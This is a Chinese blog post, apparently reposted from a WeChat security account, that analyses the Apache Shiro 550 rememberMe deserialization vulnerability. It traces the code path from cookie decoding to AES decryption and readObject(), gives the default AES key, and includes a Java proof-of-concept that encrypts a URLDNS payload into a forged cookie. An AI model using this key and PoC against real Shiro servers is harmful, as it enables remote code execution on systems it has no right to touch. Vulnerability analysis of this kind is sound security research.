Shiro550反序列化漏洞分析

admin 2022年4月30日12:50:08评论106 views字数 2124阅读7分4秒阅读模式

Shiro550反序列化漏洞分析

扫一扫关注公众号,长期致力于安全研究Shiro550反序列化漏洞分析



0x01 前言

至于Shiro是啥,就不过多讲解了,这是一个老漏洞了~


0x02  代码分析

首先会在AbstractRememberMeManager#getRememberedPrincipals获取上下文。

Shiro550反序列化漏洞分析

跟进this.getRememberedSerializedIdentity(subjectContext);CookieRememberMeManager#getRememberedSerializedIdentity代码如下:

在如下,进行了readValue的操作。

Shiro550反序列化漏洞分析

跟进该readValue方法,在第四行进行了getCookie。并存入到cookie变量中。第6行进行存入到value中。并最终进行返回

public String readValue(HttpServletRequest request, HttpServletResponse ignored) {   String name = this.getName();  String value = null  javax.servlet.http.Cookie cookie = getCookie(request, name);  if (cookie != null) {       value = cookie.getValue();      log.debug("Found '{}' cookie value [{}]", name, value);else {      log.trace("No '{}' cookie value", name); }     return value; }

CookieRememberMeManager#getRememberedSerializedIdentity的主要操作就是对Cookie进行了base64解密

Shiro550反序列化漏洞分析

回到最初的方法 AbstractRememberMeManager#getRememberedPrincipals,将解码的cookie放入到了该方法作为参数传入

Shiro550反序列化漏洞分析

convertBytesToPrincipals方法如下,可以看到bytes被传入到了decrypt方法中

Shiro550反序列化漏洞分析

跟进decrypt方法,在该方法中会利用 getDecryptionCipherKey 函数获取到 AES  key,然后进行解密

Shiro550反序列化漏洞分析

那接下来分析一下AESkey是什么?跟进之后可以发现是一个get方法。那么对应的找一下set方法是如何设置的?

Shiro550反序列化漏洞分析

可以看出在setCipherKey方法中调用了该set方法。而传入的了cipherKey这个参数。

Shiro550反序列化漏洞分析

那么谁会调用了setCipherKey方法进行了设置key呢?

最终在其构造方法中,发现了key--->(kPH+bIxk5D2deZiIxcaaaA==)

Shiro550反序列化漏洞分析

分析完key之后,继续返回分析cipherService.decrypt方法

Shiro550反序列化漏洞分析

跟进该方法

Shiro550反序列化漏洞分析

继续跟进decrypt方法,最终执行到doFinal方法执行解密

Shiro550反序列化漏洞分析

返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回

Shiro550反序列化漏洞分析最终返回值为bytes变量。然后对其进行反序列化

Shiro550反序列化漏洞分析

跟踪deserialize方法

Shiro550反序列化漏洞分析

并进入到DefaultSerializer#deserialize方法,并执行了ois.readObject()

Shiro550反序列化漏洞分析

所以说整体流程如下:

CookierememberMe---->base64解码--->AES解密---->readObject()

之后编写poc,以URLDNS为例。直接使用burp中的DNSLOG即可

Shiro550反序列化漏洞分析

之后直接将生成的bin文件进行加密即可

public static byte[] keys = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");public static void main(String[] args) throws IOException {    InputStream inputStream = new FileInputStream("test.bin");    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();    int len = 0;    while( (len =inputStream.read())!=-1){        byteArrayOutputStream.write(len);    }    byte[] bytes = byteArrayOutputStream.toByteArray();
AesCipherService aesCipherService = new AesCipherService();
ByteSource byteSource = aesCipherService.encrypt(bytes,keys); System.out.println(byteSource.toString());}

之后成功执行

Shiro550反序列化漏洞分析


11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注Shiro550反序列化漏洞分析

Shiro550反序列化漏洞分析






原文始发于微信公众号(安全族):Shiro550反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月30日12:50:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro550反序列化漏洞分析http://cn-sec.com/archives/965781.html

发表评论

匿名网友 填写信息